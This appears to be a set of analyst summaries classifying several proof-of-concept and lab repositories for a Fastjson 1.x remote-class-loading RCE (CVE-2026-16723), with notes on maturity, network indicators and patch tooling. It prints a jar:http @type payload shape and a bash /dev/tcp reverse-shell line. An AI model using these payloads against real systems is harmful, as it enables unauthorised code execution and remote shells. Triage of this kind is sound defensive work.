Fastjson 1.x Default-Configuration Remote Code Execution

This 10-file Maven/Spring Boot reproduction project contains a deliberately vulnerable JSON API and a separate malicious-JAR module. The main module pins Alibaba fastjson 1.2.83 and exposes /api/parse and /api/deserialize, which pass attacker-controlled request bodies to fastjson. The malicious module supplies two RCE demonstrations: MaliciousClass, whose static initializer launches calc.exe when instantiated from the classpath, and EvilTranslet, an AbstractTranslet whose compiled bytecode is embedded into a generated TemplatesImpl JSON payload. GenTemplatesPayload reads EvilTranslet.class, Base64-encodes it, and writes direct and class-preload payload files. The /api/deserialize-autotype handler is especially dangerous because it changes global parser state to enable AutoType and explicitly accept-lists TemplatesImpl while allowing non-public field assignment, allowing the in-memory translet chain. The project is operational as a local lab/demo with a fixed calc.exe payload. Its broad claim of default-configuration TemplatesImpl exploitation is not supported by its own controller implementation: that chain explicitly depends on the intentionally weakened autotype/accept-list endpoint.

Repository is a real exploit/reproduction project for CVE-2026-16723 targeting Alibaba fastjson 1.2.66-1.2.83. It contains two main parts: (1) a vulnerable Spring Boot demo app under demo/ and (2) exploit generators under exp/ that use ASM to build malicious jar files for HTTP-based and FILE-based class loading. The vulnerable app exposes POST /parse and directly calls JSON.parse(json) on untrusted input after setting ParserConfig defaults, making it a suitable target for fastjson autoType abuse. The exploit capability is arbitrary command execution. Both GenProbeHttp.java and GenProbefile.java generate a crafted class annotated with com.alibaba.fastjson.annotation.JSONType and containing a static initializer (<clinit>) that runs Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd}). The generators intentionally create an illegal internal class name via ASM so that the fastjson @type string, the resource URL, and the bytecode internal name align. This is the core trick enabling remote/local jar-backed class loading through jar:http or jar:file payloads. GenProbeHttp.java is the primary network exploit path. It builds a jar file (default output x containing y.class) and prints a payload like {"@type":"jar:http:..2130706433:19090.x!.y","x":1}. The attacker is expected to host the generated jar over HTTP, and the target fetches it during parsing. This gives a clear network IOC/fingerprint: the target will request a jar resource corresponding to jar:http://2130706433:19090/x!/y.class (or attacker-customized host/port/file/class values). GenProbefile.java provides an alternate local-file attack path where the malicious jar must already exist on the target filesystem; it emits a jar:file-based @type string derived from the current directory. Repository structure is small and focused: README.md documents the vulnerability, prerequisites, exploitation flow, and mitigations; demo/pom.xml defines a Java 8 Spring Boot 2.7.18 application with fastjson 1.2.83; demo/src/main/java/com/example/demo/controller/VulController.java contains the vulnerable endpoint; exp/GenProbeHttp.java and exp/GenProbefile.java are the exploit generators; 笔记.txt is a short usage cheat sheet. This is not a scanner or detector; it is an operational PoC exploit plus a local lab target.

This repository is a self-contained Dockerized proof-of-concept for a Fastjson remote code execution chain described as CVE-2026-16723. It is not tied to a common exploit framework. The repo contains: (1) exploit.py, a Python client that checks a lab status endpoint and sends a malicious JSON payload to /parse or /parseObject; (2) attacker/Gen.java, a Java/ASM bytecode generator that creates EvilPayload.class with a Fastjson @JSONType annotation and a static initializer that executes an arbitrary OS command via Runtime.getRuntime().exec(); (3) attacker/entrypoint.sh, which compiles Gen.java, generates /opt/serve/probe.jar, and serves it over Python HTTP on port 8000; (4) Dockerfile and Dockerfile.attacker, which build the vulnerable target lab and attacker infrastructure; and (5) docker-compose.yml, which wires both containers together on an internal bridge network. The exploit capability is full remote code execution in the target JVM/container. The attack works by sending JSON with an @type value referencing a jar:http:// attacker URL. The target Fastjson parser is expected to transform the type name into a resource path, fetch remote class bytes through a class loader capable of resolving jar:http:// URLs, detect the @JSONType annotation, load the class, and execute its <clinit> static initializer. The provided payload is operational rather than weaponized: it supports arbitrary command execution, but customization is basic and centered on a single command string and a fixed class/JAR structure. Notable fingerprintable targets and infrastructure include the target HTTP service on 18080, debug port 5005, attacker HTTP server on 8000, the vulnerable endpoints /parse, /parseObject, and /status, and the proof file /tmp/pwned. The README is extensive and explains the intended vulnerable code path, class loader assumptions, payload construction, and Docker-based reproduction workflow.

This repository is a standalone C++17 exploit for CVE-2026-16723 targeting Alibaba Fastjson 1.2.68–1.2.83. It is not part of a larger exploit framework. The repository contains a build script (CMakeLists.txt), an installer (install.sh), documentation (README.md), and three source components: src/main.cpp, src/class_builder.cpp/.h, and src/utils.h. Core exploit flow: src/main.cpp is the main entry point. It parses attacker parameters such as --lhost, --lport, --http-port, --first, --last, --field, and --outdir. It builds a reverse-shell command, Base64-encodes it, generates a malicious JAR file named x, creates a JSON body file body.json containing crafted Fastjson @type entries, starts an HTTP server to host the JAR, and opens a TCP listener to receive the reverse shell. Payload generation: src/class_builder.cpp manually constructs Java .class bytecode without using javac. One helper builds a benign seed class foo/Exception.class. Another builds payload classes whose static initializer (<clinit>) calls java/lang/Runtime.getRuntime().exec([Ljava/lang/String;) to execute the supplied shell command when the class is loaded. The generated JAR contains multiple payload class paths (fdN/Exception.class) to brute-force likely file descriptor numbers. Exploit technique: build_request_body() creates JSON array entries using jar:http and jar:file protocol forms embedded in Fastjson @type values. The first entry causes the target to fetch the attacker-hosted JAR over HTTP using an encoded integer representation of the attacker IP. Subsequent entries attempt to load classes from jar:file:.proc.self.fd.<fd> paths, leveraging Linux /proc/self/fd semantics and multiple guessed file descriptors. This is intended to make the target JVM load the malicious class from the downloaded JAR and trigger the static initializer for code execution. Networking behavior: the exploit binds an HTTP server on 0.0.0.0:<http-port> to serve the generated files from the chosen output directory and binds a reverse-shell listener on 0.0.0.0:<lport>. On success, the target connects back with an interactive bash shell. Repository purpose: this is a real offensive exploit implementation, not a detector. It automates payload generation, hosting, and shell handling for a Fastjson deserialization/RCE chain. The code is operational but relatively simple and hardcodes a bash reverse shell payload, so OPERATIONAL is the best maturity classification.

This repository is a real exploit-and-patch lab for CVE-2026-16723, centered on Fastjson 1.x deserialization abuse via attacker-controlled @type values. It is not tied to a common exploit framework. The repository is organized into four main areas: exploit/ contains the runnable vulnerable lab and one-click exploit; lab-setup/ duplicates that material with convenience scripts for vulnerable and patched side-by-side testing; patch/ contains the hardened target and verification scripts; docs/ contains mechanism and findings writeups. The exploit path is operational and complete. The vulnerable target (VulnApp.java) exposes an HTTP server on /parse and calls JSON.parseObject(body, Dto.class) with AutoType disabled, while explicitly configuring Fastjson to use Spring Boot's LaunchedURLClassLoader. The attacker side generates a malicious Java class with ASM (Gen.java), annotates it with com.alibaba.fastjson.annotation.JSONType, sets its internal name to a crafted jar:http URL, and embeds a static initializer that creates /tmp/PWNED and executes a shell command. AttackerServer.java serves the resulting JAR over HTTP on port 8000. The exploit script sends a crafted JSON payload containing @type=jar:http:..attacker:8000.probe!.POC to the target's /parse endpoint; Fastjson's dot-to-slash transformation reconstructs a remote jar URL, probes the class resource, sees @JSONType, and loads the class, causing the static initializer to run. Primary exploit capabilities are: unauthenticated network-triggered remote code execution against a vulnerable Java/Fastjson service; outbound HTTP-triggered remote JAR retrieval from an attacker-controlled server; and proof-of-execution via file creation and command output capture inside the target container. The repository also includes a defensive hotfix implementation (PatchedVulnApp.java and patched Dockerfiles) that enables Fastjson SafeMode, sets JNDI trustURLCodebase protections, and adds a denylist of risky gadget package prefixes. Verification scripts confirm that normal JSON still parses while the exploit payload is rejected and /tmp/PWNED is absent. Overall, this is a self-contained reproduction environment for a Fastjson remote class loading/RCE issue, plus a patch validation suite. The exploit is best classified as OPERATIONAL because it includes a working payload and end-to-end lab automation, but payload customization is relatively basic and hardcoded rather than framework-driven.

This repository is a standalone C++17 exploit for CVE-2026-16723 targeting Alibaba Fastjson 1.2.68–1.2.83. It is not part of a common exploitation framework. The project contains a small build system (CMakeLists.txt), an installer script (install.sh), documentation (README.md), and the exploit source under src/. The main logic resides in src/main.cpp, with helper routines in src/class_builder.cpp and src/utils.h. Core capability: the exploit generates a malicious JAR file and a matching JSON body intended for submission to a vulnerable Fastjson-backed web endpoint. The JSON uses crafted @type values with jar:http and jar:file protocol tricks to coerce the target Java application into downloading and loading attacker-controlled classes. The JAR contains a benign seed class and multiple payload classes mapped to fd-specific paths. The payload class executes Runtime.getRuntime().exec() from a static initializer, so code runs when the class is loaded. Post-exploitation behavior: the command embedded in the payload is a base64-wrapped bash reverse shell: bash -i >& /dev/tcp/<lhost>/<lport> 0>&1. The exploit starts a local HTTP server on 0.0.0.0:<http-port> to serve the JAR file and also opens a TCP listener on 0.0.0.0:<lport> to receive and interact with the shell. Repository structure and purpose: - CMakeLists.txt: builds a single executable named exploit and links libzip and zlib. - install.sh: installs dependencies, downloads header-only libraries (nlohmann/json and cpp-httplib), builds the binary. - src/main.cpp: parses CLI options, constructs the reverse-shell command, builds the JAR, writes body.json, starts the HTTP server, and runs the shell listener. - src/class_builder.cpp/.h: manually constructs Java .class bytecode, including a payload class whose static initializer invokes Runtime.exec(). - src/utils.h: helper functions for IPv4 integer encoding, base64 encoding, and the interactive reverse-shell listener. Notable operational details: the exploit defaults to lport 4444, HTTP port 8000, JSON field name facets, and iterates file descriptors 3 through 30. It writes two artifacts by default: x (the JAR) and body.json. The README shows an example target endpoint of /api/products/search on port 8080, but that path is illustrative rather than hardcoded in the exploit itself.

Repository contains both a vulnerable demo application and a working attacker-side exploit for CVE-2026-16723. The main exploit is attacker/exploit.py, a standalone Python script that does not rely on external exploit frameworks. It programmatically builds Java class files and a ZIP/JAR archive without requiring a JDK, hosts that JAR over an embedded Python HTTP server, generates a malicious JSON request body, and opens a TCP listener for an incoming reverse shell. Exploit flow: the target Fastjson parser is induced to resolve crafted @type values inside a loosely typed list field (default SearchFilter.facets). The first @type uses a jar:http style reference to force the target JVM/classloader to fetch the attacker JAR over HTTP (SSRF/remote resource load). The script then includes multiple jar:file:.proc.self.fd.N payloads for file descriptors 3-30 by default, attempting to re-open the fetched JAR via /proc/self/fd/N so the malicious class can be defined locally. The generated payload class is annotated with Fastjson's JSONType annotation and contains a static initializer that executes /bin/sh -c with a base64-decoded bash reverse shell command back to the attacker. The vulnerable application is a Spring Boot 3.2.0 fat-JAR using com.alibaba:fastjson:1.2.83. In CatalogController.search(), POST /api/products/search accepts arbitrary request bodies and parses them with JSON.parseObject(body, SearchFilter.class). SearchFilter contains List<Object> facets, providing the loose typing needed for attacker-controlled type materialization. Additional files implement the demo storefront UI and product catalog. Dockerfile builds and runs the lab app, exposes port 8080, and places /flag.txt on disk to demonstrate post-exploitation impact. Overall purpose: this repository is an end-to-end lab/PoC showing unauthenticated remote code execution against a Fastjson 1.x parsing path in a Spring Boot fat-JAR deployment, culminating in a reverse shell as the service account.

This repository is a deliberately vulnerable Java lab environment, not just a standalone exploit script. It is a Maven-based Spring Boot application that packages Fastjson 1.2.83 into an executable fat-JAR specifically to reproduce CVE-2026-16723 under the documented preconditions. The core code is minimal: Application.java starts the service, while ParseController.java exposes the vulnerable behavior. Two POST endpoints, /parse and /parseObject, pass attacker-controlled request bodies directly into JSON.parse() and JSON.parseObject(). Before parsing, both handlers explicitly swap the thread context class loader to ParserConfig.class.getClassLoader(), which in a Spring Boot fat-JAR environment is the LaunchedURLClassLoader. This is the key enabling condition described by the repository: Fastjson's type probing can then fetch remote class resources over HTTP from jar:http-style references, inspect them for @JSONType, and load attacker-controlled classes whose static initializer executes code. The repository structure supports this lab purpose: pom.xml pins Spring Boot 2.7.18 and vulnerable com.alibaba.fastjson:1.2.83; application.properties binds the service to port 18080 and intentionally leaves SafeMode disabled; start.sh and start.bat provide easy launch wrappers; README.md and the Chinese guide document exploitation workflow, prerequisites, and troubleshooting. The GET /status endpoint reports whether SafeMode is disabled and marks the instance as vulnerable, while GET / serves an HTML page describing the issue and exposed routes. Main exploit capability: remote code execution via unsafe Fastjson deserialization/type resolution in a specially packaged Spring Boot application. Secondary capability: outbound HTTP fetch/SSRF-like behavior when the target attempts to retrieve remote class/JAR resources. This is a real exploit lab rather than a detection-only project, and it is operational because the vulnerable service is fully implemented and ready to be paired with external PoC tooling. The repository itself does not include the attacker-side generator or exploit sender, but it intentionally exposes the vulnerable endpoints and documents how external tooling can achieve command execution.

This repository is a multi-part Fastjson research and exploitation lab centered on remote class loading via attacker-controlled @type values. It contains: (1) a top-level command-capable exploit for Fastjson 1.2.83 on JDK 8, (2) a modern-fd marker-only reproduction for Fastjson 1.2.83 on Linux/JDK 17 using a retained remote-JAR file-descriptor chain, (3) a fastjson2 marker-only lab showing remote class fetch/initialization through polymorphic parsing paths, and (4) Python scanner tooling for passive detection, static artifact triage, and safe active reachability probing. The main exploit path is the top-level lab. attacker/Gen.java uses ASM to generate a malicious class whose internal name is a crafted URL-shaped binary name such as jar:http://attacker:8000/probe!/POC and which is annotated with com.alibaba.fastjson.annotation.JSONType. Its static initializer is the payload: it prints a banner, creates /tmp/PWNED, and executes an arbitrary shell command through Runtime.getRuntime().exec(["/bin/sh","-c",cmd]). attacker/AttackerServer.java serves the generated JAR from /www/probe over HTTP on port 8000. target/src/VulnApp.java creates a Spring Boot LaunchedURLClassLoader, sets it as Fastjson's default classloader, and exposes /parse on port 8080; it parses attacker-controlled JSON with JSON.parseObject(body, Dto.class) while AutoType remains disabled. exploit/exploit.sh sends the crafted payload to http://127.0.0.1:8080/parse and then checks /tmp/PWNED inside the target container as proof of code execution. The modern-fd/ subtree is a more constrained, marker-only reproduction of the Linux/JDK 17 continuation. It uses a Spring Boot 3.2.0 target with a fixed DTO containing List<Object> and the exact sink JSON.parseObject(body, BoundEnvelope.class). The artifact builder generates an inert seed class plus many fdN/Exception classes whose internal names are jar:file:/proc/self/fd/N!/fdN/Exception and whose static initializers only set FASTJSON_MODERN_FD_MARKER. Scripts automate positive and control cases and collect evidence. The fastjson2/ subtree is another marker-only lab. It demonstrates that fastjson2 default behavior can still reach ClassLoader.loadClass() when parsing polymorphic types via @JSONType(seeAlso) or Jackson @JsonSubTypes. The artifact server hosts marker-only JARs at /probe and /probeJ; the target exposes /parse with multiple modes, /marker, /debug, and /info. On JDK 8 the remote class can be defined and initialized; on JDK 17 the repository documents SSRF/fetch behavior with class-format failure. The scanner/ subtree is defensive tooling, not exploitation: fjdetect.py passively detects suspicious remote-JAR and FD-chain payloads in JSON/logs; fjscan_static.py inventories archives for vulnerable Fastjson/Spring Boot compositions; fjscan_probe.py and fjpayload.py generate safe reachability probes and canary payloads. Overall, the repository is a real exploit/research repo with both offensive proof-of-concept code and defensive detection utilities.